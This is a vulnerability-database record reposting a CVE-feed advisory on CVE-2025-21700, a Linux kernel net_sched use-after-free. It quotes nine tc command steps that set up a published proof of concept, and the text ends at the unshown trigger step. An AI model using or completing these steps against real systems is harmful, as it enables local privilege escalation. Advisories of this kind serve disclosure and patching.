{"uuid": "7d177143-03d4-46a6-9827-14ee8f3c2ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2025-21700", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/17997", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-21700 - Linux Kernel Net_sched UAF Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2025-21700 \nPublished : Feb. 13, 2025, 12:15 p.m. | 1\u00a0hour, 19\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: sched: Disallow replacing of child qdisc from one parent to another  \n  \nLion Ackermann was able to create a UAF which can be abused for privilege  \nescalation with the following script  \n  \nStep 1. create root qdisc  \ntc qdisc add dev lo root handle 1:0 drr  \n  \nstep2. a class for packet aggregation do demonstrate uaf  \ntc class add dev lo classid 1:1 drr  \n  \nstep3. a class for nesting  \ntc class add dev lo classid 1:2 drr  \n  \nstep4. a class to graft qdisc to  \ntc class add dev lo classid 1:3 drr  \n  \nstep5.  \ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024  \n  \nstep6.  \ntc qdisc add dev lo parent 1:2 handle 3:0 drr  \n  \nstep7.  \ntc class add dev lo classid 3:1 drr  \n  \nstep 8.  \ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo  \n  \nstep 9. Display the class/qdisc layout  \n  \ntc class ls dev lo  \n class drr 1:1 root leaf 2: quantum 64Kb  \n class drr 1:2 root leaf 3: quantum 64Kb  \n class drr 3:1 root leaf 4: quantum 64Kb  \n  \ntc qdisc ls  \n qdisc drr 1: dev lo root refcnt 2  \n qdisc plug 2: dev lo parent 1:1  \n qdisc pfifo 4: dev lo parent 3:1 limit 1000p  \n qdisc drr 3: dev lo parent 1:2  \n  \nstep10. trigger the bug <===\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-13T14:39:10.000000Z"}